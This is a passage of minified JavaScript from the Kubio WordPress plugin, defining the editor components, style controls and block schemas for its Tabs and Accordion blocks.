Item","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:["normal","hover","customActive"]}},[jf]:{label:Object(We.__)("Icons","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:["normal"]}},[kf]:{internal:!0},[Ef]:{internal:!0}};var vf=Object(He.withComputedData)((e=>{const{globalStyle:t}=Object(tl.useGlobalDataStyle)();return{defaultTextAlign:Object(tl.useInheritedTextAlign)(),vSpacingDefault:t.getPropInMedia("vSpace")}}))((e=>{let{computed:t}=e;const{vSpacingDefault:o,defaultTextAlign:n}=t,a={type:He.WithDataPathTypes.STYLE,style:mf};return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Content","kubio"),initialOpen:!1},Object(xe.createElement)(Re.TypographyContainerControlPopupWithPath,{path:"typography",type:He.WithDataPathTypes.STYLE,style:bf}),Object(xe.createElement)(Re.HorizontalTextAlignControlWithPath,Object(ut.a)({label:Object(We.__)("Horizontal align","kubio"),path:"textAlign",defaultValue:n},a)),Object(xe.createElement)(Re.BoxUnitValueControlWithPath,Object(ut.a)({label:Object(We.__)("Padding","kubio"),path:"padding",capMin:!0,min:0},a)),Object(xe.createElement)(Re.RangeWithUnitWithPath,{label:Object(We.__)("Content elements vertical spacing","kubio"),media:"auto",defaultValue:o,type:He.WithDataPathTypes.PROP,path:"vSpace"}))})),_f=Object(He.withComputedData)((e=>{const[t,o]=Object(xe.useState)(cf.tabsItemsStates.values.NORMAL),n=e.getProp("layout","horizontal"),a=cf.layout.values,l=n===a.VERTICAL,r=n===a.HORIZONTAL,i=cf.tabsItemsWidth.values,c=e.getPropInMedia(`tabItemsWidth.${n}`)===i.AUTO,s={value:e.getStyle("justifyContent",null,{styledComponent:Of})},u={value:e.getStyle("justifyContent",null,{styledComponent:gf})};return{typeVertical:l,typeHorizontal:r,currentState:t,setCurrentState:o,showHorizontalTabsBarAlign:c,showIcons:e.getProp("icons.show"),horizontalTextAlign:s,verticalTextAlign:u}}))((e=>{let{computed:t}=e;const o={type:He.WithDataPathTypes.STYLE,style:yf},{typeVertical:n,typeHorizontal:a,currentState:l,setCurrentState:r,showIcons:i,showHorizontalTabsBarAlign:c}=t,s="normal"===l?"":l;return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Tab Items","kubio")},Object(xe.createElement)(Re.ToggleGroup,{label:Object(We.__)("State","kubio"),options:cf.tabsItemsStates.options,value:l,onChange:r}),Object(xe.createElement)(Re.GradientColorPickerWithPath,Object(ut.a)({label:Object(We.__)("Background","kubio"),path:"background",state:s},o)),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Title color","kubio"),path:"typography.color",state:s},o)),Object(xe.createElement)(Re.BordersAndRadiusWithPath,Object(ut.a)({path:"border"},o,{state:s})),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.TypographyControlPopupWithPath,Object(ut.a)({path:"typography"},o,{nodeType:"a"})),i&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.RangeWithUnitWithPath,{label:Object(We.__)("Icon indent","kubio"),max:50,path:"margin.left",style:kf,type:He.WithDataPathTypes.STYLE}),Object(xe.createElement)(Re.RangeWithUnitWithPath,{label:Object(We.__)("Icon size","kubio"),max:30,path:"size",style:jf,type:He.WithDataPathTypes.STYLE})),a&&c&&Object(xe.createElement)(Re.HorizontalFlexAlignControlWithPath,{label:Object(We.__)("Horizontal align","kubio"),path:"justifyContent",type:He.WithDataPathTypes.STYLE,style:hf}),(n||!c)&&Object(xe.createElement)(Re.HorizontalTextAlignControlWithPath,{label:Object(We.__)("Text align","kubio"),path:"justifyContent",type:He.WithDataPathTypes.STYLE,style:n?gf:Of,useContentAlignIcons:!1,useHorizontalAlignFlexOptions:!0}),Object(xe.createElement)(Re.BoxUnitValueControlWithPath,Object(ut.a)({label:Object(We.__)("Padding","kubio"),path:"padding",capMin:!0,min:0},o)))}));const Cf=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(_f,null),Object(xe.createElement)(vf,null)),If=Object(He.composeBlockWithStyle)(Yo.TAB_ITEMS),Tf=[Object(He.composeBlockWithStyle)(Yo.TAB_NAVIGATION),If],Sf=[Yo.TAB_NAVIGATION,Yo.TAB_ITEMS],wf=Tf,Pf=Object(Me.compose)(Object(He.withColibriData)((e=>({layout:e.getProp("layout"),tabItemsWidth:e.getPropByMedia("tabItemsWidth")}))),Object(He.withDynamicStyles)((e=>{const t=e.getPropByMedia("vSpace",{});return{[Ef]:cn.dynamicStylesTransforms.vSpace(t)}})),Object(He.withStyledElements)((e=>{let{computed:t}=e;const{layout:o,tabItemsWidth:n}=t;return{[bf]:{className:()=>(e=>{const t=[];switch(e){case"horizontal":t.push("h-tabs-horizontal");break;case"vertical":t.push("h-tabs-vertical")}return t})(o).concat(((e,t)=>{const o=[];return Ne.a.each(cn.Media.mediasById,((n,a)=>{const l=Ne.a.get(e,a),r=Ne.a.get(l,t),i=n.gridPrefix?`-${n.gridPrefix}`:"",c=`h-tabs--${t}--${r}${i}`;o.push(c)})),o})(n,o))}}})))((e=>{let{StyledElements:t,isSelected:o}=e;const n=Object(xe.useRef)(),a=Object(He.useBlockElementProps)(bf),l=$o({...a},{templateLock:!0,renderAppender:!1,allowedBlocks:Sf,template:wf});Object(xe.useEffect)((()=>{var e,t;o&&(null===(e=n.current)||void 0===e||null===(t=e.focus)||void 0===t||t.call(e))}),[o]);const r=Object(De.useBlockProps)(l);return Object(xe.createElement)(t.Outer,Object(ut.a)({},r,{ref:n}))}));const Af=[{id:1,handleAttributes:e=>{const t="kubio.style.descendants",o=Object(Be.get)(e,`${t}.content.typography.holders`);if(Object(Be.isObject)(o)){const n=Object(Be.cloneDeep)(e);return Object(Be.unset)(n,`${t}.content.typography.holders`),Object(Be.set)(n,`${t}.outer.typography.holders`,o),n}return e}}],Bf={name:"kubio/tab",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{kubio:{appearanceEffect:!0,default:{props:{layout:"horizontal",icons:{show:!1},tabItemsWidth:{horizontal:"auto",vertical:"auto"},media:{mobile:{tabItemsWidth:{horizontal:"full",vertical:"full"}}}},style:{descendants:{tabItemText:{margin:{left:{value:10,unit:"px"}}},icons:{size:{value:20,unit:"px"}}}}},elementsEnum:{OUTER:"outer",CONTENT:"content",TAB_BAR:"tabBar",TAB_BAR_HORIZONTAL:"tabBarHorizontal",TAB_ITEM_HORIZONTAL:"tabItemHorizontal",TAB_BAR_VERTICAL:"tabBarVertical",TAB_ITEM_VERTICAL:"tabItemVertical",TAB_ITEM:"tabItem",ICONS:"icons",TAB_ITEM_TEXT:"tabItemText",VSPACE:"v-space"},elementsByName:{outer:{wrapper:!0,default:!0,props:{className:["h-tabs"]}},content:{selector:".h-tabs-item-content"},tabBar:{selector:" > .h-tabs-navigation"},tabBarHorizontal:{selector:"&.h-tabs-horizontal > .h-tabs-navigation"},tabItemHorizontal:{selector:"&.h-tabs-horizontal > .h-tabs-navigation .h-tabs-navigation-item"},tabBarVertical:{selector:"&.h-tabs-vertical > .h-tabs-navigation"},tabItemVertical:{selector:"&.h-tabs-vertical > .h-tabs-navigation .h-tabs-navigation-item"},tabItem:{selector:{normal:" > .h-tabs-navigation .h-tabs-navigation-item",hover:" > .h-tabs-navigation .h-tabs-navigation-item:not(.h-custom-active-state):hover",customActive:" > .h-tabs-navigation .h-tabs-navigation-item.h-custom-active-state"}},icons:{selector:" > .h-tabs-navigation .h-svg-icon"},tabItemText:{selector:" > .h-tabs-navigation .h-svg-icon + .h-tabs-navigation-item__text"},"v-space":{selector:".h-tabs-item-content > .h-y-container > *:not(:last-child)"}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},Nf=Object(nn.extendBlockMeta)(Bf,{title:Object(We.__)("Tabs","kubio"),keywords:[Object(We.__)("tab","kubio")],icon:on.BlockIcons.Tab,apiVersion:2,supports:{kubio:{elementsByName:ff},reusable:!1,html:!1},edit:function(e){const{firstTabItemClientId:t}=(e=>{const t=Object(Ve.useSelect)((e=>e));return ZE(e,t)})(e),[o,n]=Object(xe.useState)(t),{selectBlock:a}=Object(Ve.useDispatch)("core/block-editor"),l={setCurrentTabClientId:n,currentTabClientId:o,selectTabBlock:()=>a(e.clientId),tabClientId:e.clientId};return Object(xe.createElement)(XE.Provider,{value:l},Object(xe.createElement)(pf,e),Object(xe.createElement)(Cf,e),Object(xe.createElement)(Pf,e))},save:function(){return Object(xe.createElement)(De.InnerBlocks.Content,null)},variationsFilter:e=>{var t,o,n,a;return null!=e&&null!==(t=e.innerBlocks)&&void 0!==t&&null!==(o=t[0])&&void 0!==o&&o[2]&&Object(Be.isEmpty)(null==e||null===(n=e.innerBlocks)||void 0===n||null===(a=n[0])||void 0===a?void 0:a[2])&&(e.innerBlocks[0][2]=[Object(He.composeBlockWithStyle)(Yo.TAB_NAVIGATION_ITEM)]),null!=e&&e.isDefault?{...e,description:qE}:e},innerBlocksDisableInBetweenInserter:!0,kubioMigrations:Af}),xf="inner",Rf=Object(Me.compose)(Object(Me.createHigherOrderComponent)((e=>t=>{const{clientId:o}=t,{currentTabClientId:n}=QE(),a=n===o;return Object(xe.createElement)(e,Object(ut.a)({},t,{isTabActive:a}))})),Object(He.withColibriData)(((e,t)=>{const{isTabActive:o}=t;return{slug:e.getAttribute("slug"),isTabActive:o}})),Object(He.withStyledElements)((function(){let{computed:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return{[xf]:{className:$e()({"h-tabs-content-active":e.isTabActive,hide:!e.isTabActive})}}})),Object(He.withRedirectSelectionToParent)()),Df=Rf((e=>{let{StyledElements:t}=e;const o=$o({},{templateLock:!1});return Object(xe.createElement)(t.Inner,null,Object(xe.createElement)(t.Content,o))}));const Lf={name:"kubio/tabitem",category:"kubio-basic",parent:["kubio/tabitems"],attributes:{kubio:{type:"object"},title:{type:"string",default:""},slug:{type:"string",default:"tab-title"},icon:{type:"string",default:""}},supports:{inseter:!1,kubio:{appearanceEffect:!0,elementsEnum:{INNER:"inner",CONTENT:"content"},elementsByName:{inner:{wrapper:!0,default:!0,props:{className:["h-tabs-item-content","h-tabs-item","h-y-container"]}},content:{props:{className:["h-y-container","tab-item-content-wrapper"]}}},template:{type:"element",props:{name:"inner"},children:[{type:"element",props:{name:"content"},children:[{type:"wp:InnerBlocks"}]}]}}}},Mf=Object(nn.extendBlockMeta)(Lf,{title:Object(We.__)("Tab item","kubio"),icon:on.BlockIcons.Tab,apiVersion:2,supports:{kubio:{elementsByName:{}},reusable:!1,html:!1,lightBlockWrapper:!0},edit:e=>{const t=QE(),{tabClientId:o}=t,n={clientId:o};return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(ze.DataHelperContextFromClientId,{clientId:o},Object(xe.createElement)(pf,n),Object(xe.createElement)(Cf,n)),Object(xe.createElement)(Df,e))},save:function(e){return Object(xe.createElement)(De.InnerBlocks.Content,null)}}),Wf=[Yo.TAB_ITEM];var Hf=Object(Me.compose)(Object(He.withColibriData)(),Object(He.withStyledElements)(),Object(He.withRedirectSelectionToParent)({skipKubioEditorCheck:!0}))((e=>{let{StyledElements:t}=e;const o=$o({},{templateLock:!1,renderAppender:!1,allowedBlocks:Wf});return Object(xe.createElement)(t.Outer,o)}));const Gf={outer:{label:Object(We.__)("Container","kubio"),internal:!0,supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:["normal","hover"]}}},Uf={name:"kubio/tabitems",category:"kubio-basic",parent:["kubio/tab"],attributes:{kubio:{type:"object"}},supports:{inseter:!1,kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer"},elementsByName:{outer:{wrapper:!0,default:!0,props:{className:["d-flex","h-tabs-item-content__container","h-tabs-item__container"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},Ff=Object(nn.extendBlockMeta)(Uf,{title:Object(We.__)("Tab items","kubio"),icon:on.BlockIcons.Tab,apiVersion:2,supports:{kubio:{elementsByName:Gf},reusable:!1,html:!1,lightBlockWrapper:!0},edit:Hf,save:function(e){return Object(xe.createElement)(De.InnerBlocks.Content,null)},innerBlocksDisableInBetweenInserter:!0}),zf=[Object(He.composeBlockWithStyle)(Yo.TAB_NAVIGATION_ITEM)];var Vf=Object(Me.compose)(Object(Ve.withSelect)(((e,t)=>{const{getBlockParents:o,getBlocksByClientId:n}=e("core/block-editor"),{clientId:a}=t,l=n(o(a)),r=Ne.a.get(l,l.length-1);return{tabItems:Ne.a.get(r,["innerBlocks",1,"innerBlocks"],[]),tabBlock:r,tabClientId:Ne.a.get(r,"clientId")}})),Object(He.withColibriDataAutoSave)(((e,t)=>({iconEnabled:e.withParent().getProp("icons.show")}))),Object(He.withStyledElements)(),Object(He.withRedirectSelectionToParent)({skipKubioEditorCheck:!0}))((e=>{let{computed:t,StyledElements:o,tabItems:n,tabClientId:a}=e;const{selectTabBlock:l}=QE(),{iconEnabled:r}=t,i=Object(xe.useMemo)((()=>null==n?void 0:n.map((e=>({id:e.clientId,slug:Ne.a.get(e,"attributes.slug"),title:Ne.a.get(e,"attributes.title"),iconName:Ne.a.get(e,"attributes.icon"),iconEnabled:r,tabClientId:a})))),[n,r]),c=[Object(un.transformTemplateToBlock)(zf[0])];return Object(xe.createElement)(o.Outer,{onMouseDown:e=>{e.preventDefault(),e.stopPropagation(),l()}},i.map((e=>Object(xe.createElement)(De.BlockContextProvider,{key:e.id,value:e},Object(xe.createElement)(De.BlockEditorProvider,{value:c},Object(xe.createElement)(De.BlockList,{renderAppender:!1}))))))}));const Yf={outer:{label:Object(We.__)("Container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:["normal","hover"]}}},$f={name:"kubio/tabnavigation",category:"kubio-basic",parent:["kubio/tab"],attributes:{kubio:{type:"object"}},supports:{inseter:!1,kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer"},elementsByName:{outer:{wrapper:!0,default:!0,props:{className:["h-tabs-navigation","d-flex"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},Kf=Object(nn.extendBlockMeta)($f,{title:Object(We.__)("Tab navigation","kubio"),icon:on.BlockIcons.Tab,apiVersion:2,supports:{kubio:{elementsByName:Yf},reusable:!1,html:!1,lightBlockWrapper:!0},edit:Vf,save:function(e){return Object(xe.createElement)(De.InnerBlocks.Content,null)},innerBlocksDisableInBetweenInserter:!0}),qf={LINK:"link",ICON:"icon",TEXT:"text"},Xf={[qf.OUTER]:{label:Object(We.__)("Container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:["normal","hover"]}}};var Qf=Object(Me.compose)(Object(He.withColibriData)(((e,t)=>{const{context:o}=t;return{context:o}})),Object(He.withStyledElements)((e=>{let{computed:t}=e;const{context:o}=t,{slug:n,iconName:a}=o;return{[qf.LINK]:{tag:"a",href:()=>`#${n}`,"data-slug":n},[qf.ICON]:{name:a}}})),Object(He.withRedirectSelectionToParent)())((e=>{let{context:t,StyledElements:o}=e;const{title:n,iconEnabled:a,id:l}=t,{setCurrentTabClientId:r,currentTabClientId:i,selectTabBlock:c}=QE(),s=i===l;return Object(xe.createElement)(o.Link,{onMouseDown:e=>{e.preventDefault(),e.stopPropagation(),r((()=>l)),c()},className:$e()({"h-custom-active-state":s,"h-tabs-navigation-active-item":s})},Object(xe.createElement)(o.Icon,{tag:Re.CanvasIcon,shouldRender:a}),!!n&&Object(xe.createElement)(o.Text,null,n))}));const Zf={name:"kubio/tabnavigationitem",category:"kubio-basic",parent:["kubio/tabnavigation"],usesContext:["title","slug","id","iconName","iconEnabled","arrayIndex"],attributes:{kubio:{type:"object"}},supports:{inseter:!1,kubio:{appearanceEffect:!0,elementsEnum:{LINK:"link",ICON:"icon",TEXT:"text"},elementsByName:{link:{default:!0,wrapper:!0,prefixWithTag:!0,props:{tag:"a",className:["h-tabs-navigation-item","h-global-transition"]}},icon:{props:{tag:"icon"}},text:{props:{tag:"span",className:["h-tabs-navigation-item__text"]}}},template:{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.iconEnabled"}},{type:"element",props:{name:"text",shouldRender:"computed.shouldRenderText"}}]}}}},Jf=Object(nn.extendBlockMeta)(Zf,{title:Object(We.__)("Tab navigation item","kubio"),icon:on.BlockIcons.Tab,apiVersion:2,supports:{kubio:{elementsByName:Xf},reusable:!1,html:!1,lightBlockWrapper:!0},edit:Qf}),ev={Tab:G,TabItem:U,TabItems:F,TabNavigation:z,TabNavigationItem:V},tv=Object(xe.createContext)({}),ov=()=>Object(xe.useContext)(tv),nv="outer",av="title",lv="content",rv="icon",iv="v-space",cv={[nv]:{label:Object(We.__)("Accordion","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:["normal"]}},[av]:{label:Object(We.__)("Title","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:["normal","hover","customActive"]}},[lv]:{label:Object(We.__)("Content","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY_FOR_CONTAINER],states:["normal"]}},[rv]:{label:Object(We.__)("Icon","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:["normal","hover","customActive"]}},[iv]:{internal:!0}},sv=Object(He.withComputedData)((e=>{const t=e.withParent().getProp("openMultipleItems");return{openByDefault:{value:e.getAttribute("openByDefault"),onChange:o=>{o&&!t&&e.withSiblings().forEach((t=>{t.clientId!==e.clientId&&t.setAttribute("openByDefault",!1)})),e.setAttribute("openByDefault",o)}}}}))((e=>{let{computed:t}=e;const{openByDefault:o}=t;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.InputControlWithPath,{label:Object(We.__)("Title","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"title"}),Object(xe.createElement)(Re.ToggleControl,Object(ut.a)({label:Object(We.__)("Open by default","kubio")},o)))})),uv=Object(He.withComputedData)(((e,t)=>{const{ownerDocument:o}=Object(He.useOwnerDocumentContext)(),{setOnlyActiveItem:n,currentAccordionSlugs:a}=ov();return{openMultipleItems:{value:e.getProp("openMultipleItems"),onChange:t=>{if(!1===t){if(a.length){const e=a[a.length-1];n(e)}const t=e.withChildren();let o=!1;t.forEach((e=>{e.getAttribute("openByDefault")&&(o?e.setAttribute("openByDefault",!1):o=!0)}))}e.setProp("openMultipleItems",t)}},afterAddHook:e=>{const t=e.getAttribute("title"),n=Object(un.generateSlug)(t,o);e.setAttribute("slug",n)},titleGetter:(e,t)=>`Accordion item #${t+1}`}}))((e=>{let{computed:t}=e;const{afterAddHook:o,openMultipleItems:n}=t,{setActiveItem:a,currentAccordionSlugs:l}=ov();return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Accordion Properties","kubio")},Object(xe.createElement)(Re.SortableCollapseGroupWithData,{titlePath:"title",afterAddHook:o,afterDuplicateHook:o,activeItems:l,onSelect:e=>a(e.id),allowMultipleExpanded:n.value,label:Object(We.__)("Accordion items","kubio"),iconGetter:()=>!1},(e=>Object(xe.createElement)(ze.DataHelperContextFromClientId,{clientId:e.clientId},Object(xe.createElement)(sv,{openMultipleItems:n.value})))),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.ToggleControl,Object(ut.a)({label:Object(We.__)("Allow multiple items open","kubio")},n)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.IconPickerWithPath,{label:Object(We.__)("Normal Icon","kubio"),path:"accordionItems.normalIcon",type:He.WithDataPathTypes.PROP}),Object(xe.createElement)(Re.IconPickerWithPath,{label:Object(We.__)("Active Icon","kubio"),path:"accordionItems.activeIcon",type:He.WithDataPathTypes.PROP}),Object(xe.createElement)(Re.RangeWithUnitWithPath,{label:Object(We.__)("Icon size","kubio"),max:30,path:"size",style:rv,type:He.WithDataPathTypes.STYLE}))})),pv=e=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(uv,e)),bv=()=>{const e={type:He.WithDataPathTypes.STYLE,style:nv};return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Accordion","kubio")},Object(xe.createElement)(Re.BordersAndRadiusWithPath,Object(ut.a)({path:"border"},e)))},mv={NORMAL:"normal",HOVER:"hover",ACTIVE:"customActive"},dv={LEFT:"left",RIGHT:"right"},hv={titlesStates:{values:mv,options:[{label:Object(We.__)("Normal","kubio"),value:mv.NORMAL},{label:Object(We.__)("Hover","kubio"),value:mv.HOVER},{label:Object(We.__)("Active","kubio"),value:mv.ACTIVE}]},iconPosition:{values:dv,options:[{label:Object(We.__)("Left","kubio"),value:dv.LEFT},{label:Object(We.__)("Right","kubio"),value:dv.RIGHT}]}},Ov=Object(He.withComputedData)((e=>{const t=Object(tl.useInheritedTextAlign)(),[o,n]=Object(xe.useState)(hv.titlesStates.values.NORMAL);return{defaultTextAlign:t,currentState:o,setCurrentState:n}}))((e=>{let{computed:t}=e;const o={type:He.WithDataPathTypes.STYLE,style:av},{currentState:n,setCurrentState:a,defaultTextAlign:l}=t;return Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Titles","kubio"),initialOpen:!1},Object(xe.createElement)(Re.ToggleGroup,{label:Object(We.__)("State","kubio"),options:hv.titlesStates.options,value:n,onChange:a}),Object(xe.createElement)(Re.GradientColorPickerWithPath,Object(ut.a)({label:Object(We.__)("Background","kubio"),path:"background",state:n},o)),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Text color","kubio"),path:"typography.color",state:n},o)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.TypographyControlPopupWithPath,Object(ut.a)({path:"typography"},o)),Object(xe.createElement)(Re.HorizontalTextAlignControlWithPath,Object(ut.a)({label:Object(We.__)("Text align","kubio"),path:"textAlign",defaultValue:l,useContentAlignIcons:!1,skipJustify:!0},o)),Object(xe.createElement)(Re.BoxShadowWithPath,Object(ut.a)({path:"boxShadow"},o)),Object(xe.createElement)(Re.BoxUnitValueControlWithPath,Object(ut.a)({label:Object(We.__)("Padding","kubio"),path:"padding",capMin:!0,min:0},o)))})),gv=Object(He.withComputedData)((e=>{const[t,o]=Object(xe.useState)(hv.titlesStates.values.NORMAL);return{iconPositionIsLeft:e.getProp("accordionItems.iconPosition")===hv.iconPosition.values.LEFT,currentState:t,setCurrentState:o}}))((e=>{let{computed:t}=e;const o={type:He.WithDataPathTypes.STYLE,style:rv},{currentState:n,setCurrentState:a,iconPositionIsLeft:l}=t;return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Icon","kubio"),initialOpen:!1},Object(xe.createElement)(Re.SelectControlWithPath,{label:Object(We.__)("Icon position","kubio"),options:hv.iconPosition.options,type:He.WithDataPathTypes.PROP,path:"accordionItems.iconPosition"}),Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Icon size","kubio"),max:30,path:"size"},o)),l&&Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Icon spacing","kubio"),max:100,path:"margin.right"},o)),Object(xe.createElement)(Re.ToggleGroup,{label:Object(We.__)("State","kubio"),options:hv.titlesStates.options,value:n,onChange:a}),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Icon color","kubio"),path:"fill",state:n},o)))})),yv=Object(He.withComputedData)((()=>{const{globalStyle:e}=Object(tl.useGlobalDataStyle)();return{defaultTextAlign:Object(tl.useInheritedTextAlign)(),vSpacingDefault:e.getPropInMedia("vSpace")}}))((e=>{let{computed:t}=e;const o={type:He.WithDataPathTypes.STYLE,style:lv},{vSpacingDefault:n,defaultTextAlign:a}=t;return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Content","kubio"),initialOpen:!1},Object(xe.createElement)(Re.GradientColorPickerWithPath,Object(ut.a)({label:Object(We.__)("Background","kubio"),path:"background"},o)),Object(xe.createElement)(Re.TypographyContainerControlPopupWithPath,Object(ut.a)({path:"typography"},o)),Object(xe.createElement)(Re.HorizontalTextAlignControlWithPath,Object(ut.a)({label:Object(We.__)("Horizontal align","kubio"),path:"textAlign",defaultValue:a},o)),Object(xe.createElement)(Re.BoxShadowWithPath,Object(ut.a)({path:"boxShadow"},o)),Object(xe.createElement)(Re.BoxUnitValueControlWithPath,Object(ut.a)({label:Object(We.__)("Padding","kubio"),path:"padding",capMin:!0,min:0},o)),Object(xe.createElement)(Re.RangeWithUnitWithPath,{label:Object(We.__)("Content elements vertical spacing","kubio"),media:"auto",defaultValue:n,type:He.WithDataPathTypes.PROP,path:"vSpace"}))})),jv=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(bv,null),Object(xe.createElement)(Ov,null),Object(xe.createElement)(gv,null),Object(xe.createElement)(yv,null)),kv=e=>Object(He.composeBlockWithStyle)(Yo.ACCORDION_ITEM,{attributes:{title:e,slug:Object(un.generateSlug)(e)}}),Ev=[Yo.ACCORDION_ITEM],fv=Object(Me.compose)(Object(He.withColibriDataAutoSave)((e=>{const t=e.withChildren(),o=t.map((e=>e.getAttribute("openByDefault"))),n=t.length;return{normalIcon:e.getProp("accordionItems.normalIcon"),activeIcon:e.getProp("accordionItems.activeIcon"),iconPosition:e.getProp("accordionItems.iconPosition"),openMultipleItems:e.getProp("openMultipleItems"),openByDefaultValues:o,accordionItemsLength:n}})),Object(He.withDynamicStyles)((e=>{const t=e.getPropByMedia("vSpace",{});return{[iv]:cn.dynamicStylesTransforms.vSpace(t)}})),Object(He.withStyledElements)())((e=>{let{clientId:t,computed:o}=e;const n=Object(xe.useMemo)((()=>[kv("Accordion item 1"),kv("Accordion item 2"),kv("Accordion item 3")]),[t]),{normalIcon:a,activeIcon:l,iconPosition:r}=o,i=Object(xe.useRef)(),c={id:t,normalIcon:a,activeIcon:l,iconPosition:r},s=Object(He.useBlockElementProps)(nv),u=$o({...s,ref:i},{templateLock:!1,renderAppender:!1,allowedBlocks:Ev,template:n}),p=Object(De.useBlockProps)(u);return Object(xe.createElement)(De.BlockContextProvider,{key:c.id,value:c},Object(xe.createElement)("div",p))}));var vv=Object(He.withPropsChecker)((function(e){const[t,o]=Object(xe.useState)([]),{openMultipleItems:n}=e.attributes.kubio.props,a={setActiveItem:e=>{if(e){let a=!1;const l=t.filter((t=>t!==e||(a=!0,!1)));o(n?a?l:[...l,e]:a?[]:[e])}else o([])},currentAccordionSlugs:t||[],setOnlyActiveItem:e=>{e&&o([e])},accordionClientId:e.clientId};return Object(xe.createElement)(tv.Provider,{value:a},Object(xe.createElement)(pv,e),Object(xe.createElement)(jv,e),Object(xe.createElement)(fv,e))}));const _v=Object(We.__)("Display creative collapsible texts in a dropdown manner. Stylize them according to your vision.","kubio"),Cv={name:"kubio/accordion",title:"Accordion",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{icon:{size:{value:18,unit:"px"},margin:{right:{value:"0",unit:"px"}}},title:{textAlign:"left"}}},props:{accordionItems:{normalIcon:"font-awesome/plus",activeIcon:"font-awesome/minus",iconPosition:"left"},openMultipleItems:!1}},elementsEnum:{OUTER:"outer",TITLE:"title",CONTENT:"content",ICON:"icon",VSPACE:"v-space"},elementsByName:{outer:{wrapper:!0,default:!0,props:{className:["h-accordion"]}},title:{selector:".h-accordion-item .h-accordion-item-title"},content:{selector:".h-accordion-item .h-accordion-item-content__container"},icon:{selector:{normal:" .h-accordion-item .h-accordion-item-title .h-accordion-item-title-icon",hover:" .h-accordion-item .h-accordion-item-title:hover .h-accordion-item-title-icon",customActive:".h-accordion-item .h-accordion-item-title.h-custom-active-state .h-accordion-item-title-icon"}},"v-space":{selector:".h-accordion-item-content__container > *:not(:last-child)"}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},Iv=Object(nn.extendBlockMeta)(Cv,{title:Object(We.__)("Accordion","kubio"),keywords:[Object(We.__)("accordion","kubio")],icon:on.BlockIcons.Accordion,apiVersion:2,supports:{kubio:{elementsByName:cv},reusable:!1,html:!1},edit:vv,save:function(){return Object(xe.createElement)(De.InnerBlocks.Content,null)},variationsFilter:e=>null!=e&&e.isDefault?{...e,description:_v}:e,innerBlocksDisableInBetweenInserter:!0}),Tv="title",Sv="iconNormal",wv="iconActive",Pv="content",Av={["outer"]:{label:Object(We.__)("Container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:["normal","hover"]}}},Bv=Object(Me.compose)(Object(He.withColibriDataAutoSave)(((e,t)=>{const{context:o={}}=t,{normalIcon:n,activeIcon:a,iconPosition:l}=o;return{clientId:Ne.a.get(e,"clientId"),originalSlug:Ne.a.get(e,"localData.slug"),title:e.getAttribute("title"),openByDefault:e.getAttribute("openByDefault"),normalIcon:n,activeIcon:a,iconPosition:l}})),Object(He.withStyledElements)((function(){let{computed:e}=arguments.length>0&&void 